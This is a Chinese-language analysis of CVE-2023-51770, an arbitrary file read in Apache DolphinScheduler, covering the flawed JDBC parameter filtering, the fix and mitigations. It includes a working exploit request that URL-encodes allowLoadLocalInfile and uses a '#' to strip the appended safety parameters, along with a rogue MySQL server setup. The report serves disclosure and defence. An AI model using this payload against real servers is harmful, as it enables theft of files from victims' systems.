Arbitrary File Read Vulnerability in Apache Dolphinscheduler(CVE-2023-51770)
字数 1830 2025-08-23 18:31:18
Apache DolphinScheduler 任意文件读取漏洞(CVE-2023-51770)分析报告
漏洞概述
Apache DolphinScheduler 是一个分布式易扩展的可视化DAG工作流任务调度系统。在3.2.1之前的版本中存在一个任意文件读取漏洞(CVE-2023-51770),攻击者可以通过构造特殊的JDBC连接参数绕过安全限制,利用MySQL的allowLoadLocalInfile功能读取服务器上的任意文件。
受影响版本
- Apache DolphinScheduler 版本 < 3.2.1
漏洞原理分析
漏洞位置
漏洞存在于MySQL数据源处理模块中,具体位置:
org.apache.dolphinscheduler.plugin.datasource.mysql.param.MySQLDataSourceProcessor#getConnection
漏洞机制
-
原始安全机制:
- 系统通过
MySQLDataSourceProcessor#getJdbcUrl函数生成JDBC连接URL - 存在两层过滤机制:
- 第一层:键名过滤(黑名单检查)
- 第二层:危险参数覆盖(通过追加安全参数)
- 系统通过
-
黑名单过滤:
- 检查
other参数中的键名是否在黑名单中 - 黑名单包含危险参数如:
allowLoadLocalInfile,autoDeserialize等 - 使用
contains方法进行判断
- 检查
-
参数覆盖机制:
- 在JDBC URL末尾追加安全参数:
private static final String APPEND_PARAMS = "allowLoadLocalInfile=false&autoDeserialize=false&allowLocalInfile=false&allowUrlInLocalInfile=false";
- 在JDBC URL末尾追加安全参数:
绕过技术
攻击者可以通过以下方式绕过安全限制:
-
URL编码绕过黑名单检查:
- 将危险参数名进行URL编码,如
allowLoadLocalInfile编码为%61%6c%6c%6f%77%4c%6f%61%64%4c%6f%63%61%6c%49%6e%66%69%6c%65 - 由于黑名单检查使用
contains方法,无法识别编码后的参数名
- 将危险参数名进行URL编码,如
-
注释符截断绕过参数覆盖:
- 使用
#符号截断后续追加的安全参数 - 构造如
allowLoadLocalInfile=true#的参数 - JDBC会将
#后的内容视为注释,使追加的安全参数失效
- 使用
环境搭建
-
下载受影响版本的Apache DolphinScheduler:
tar -xvzf apache-dolphinscheduler-*-bin.tar.gz cd apache-dolphinscheduler-*-bin -
修改JVM配置(可选):
- 编辑
standalone-server/bin/start.sh
- 编辑
-
启动服务:
bash ./bin/dolphinscheduler-daemon.sh start standalone-server -
访问Web界面:
- URL:
http://localhost:12345/dolphinscheduler/ui - 默认凭证:
admin/dolphinscheduler123
- URL:
漏洞复现
攻击步骤
-
构造恶意请求:
POST /dolphinscheduler/datasources/connect HTTP/1.1 Host: 172.18.178.167:12345 Content-Length: 407 Content-Type: application/json;charset=UTF-8 { "type":"MYSQL", "label":"MYSQL", "name":"t2", "note":"", "host":"172.18.176.1", "port":3308, "principal":"", "userName":"c", "password":"", "database":"d", "other":{ "%61%6c%6c%6f%77%4c%6f%61%64%4c%6f%63%61%6c%49%6e%66%69%6c%65=%74%72%75%65#":"a" } } -
搭建恶意MySQL服务器:
- 配置服务器响应包含
LOCAL INFILE指令 - 当DolphinScheduler连接时,会发送请求的文件内容
- 配置服务器响应包含
-
结果:
- 恶意MySQL服务器可以读取DolphinScheduler服务器上的任意文件
技术细节
- 编码后的参数
%61%6c%6c%6f%77%4c%6f%61%64%4c%6f%63%61%6c%49%6e%66%69%6c解码为allowLoadLocalInfile #符号截断了后续追加的安全参数- 最终有效的JDBC URL包含:
jdbc:mysql://172.18.176.1:3308/d?allowLoadLocalInfile=true
漏洞修复
修复方案
修复补丁位于:
Pull Request #15433
修复要点
-
不再直接拼接JDBC URL:
- 改为使用
Properties对象初始化连接参数 - 防止通过注释符截断绕过
- 改为使用
-
更严格的参数过滤:
- 参数处理不再受URL编码和注释符号影响
- 确保安全参数始终生效
升级建议
- 升级到Apache DolphinScheduler 3.2.1或更高版本
- 如果无法立即升级,可临时禁用MySQL数据源功能
防护措施
-
网络层面:
- 限制DolphinScheduler服务器出站连接
- 仅允许连接可信的数据库服务器
-
系统层面:
- 使用最小权限原则运行DolphinScheduler
- 定期审计服务器文件权限
-
监控层面:
- 监控异常的数据源连接请求
- 记录详细的连接日志
总结
CVE-2023-51770漏洞展示了即使有多层安全机制,如果实现不当仍可能被绕过。此漏洞的利用需要结合JDBC协议特性和URL处理机制,强调了安全开发中边界条件测试的重要性。修复方案通过改变参数处理方式从根本上解决了问题,而不仅仅是增加更多的过滤规则。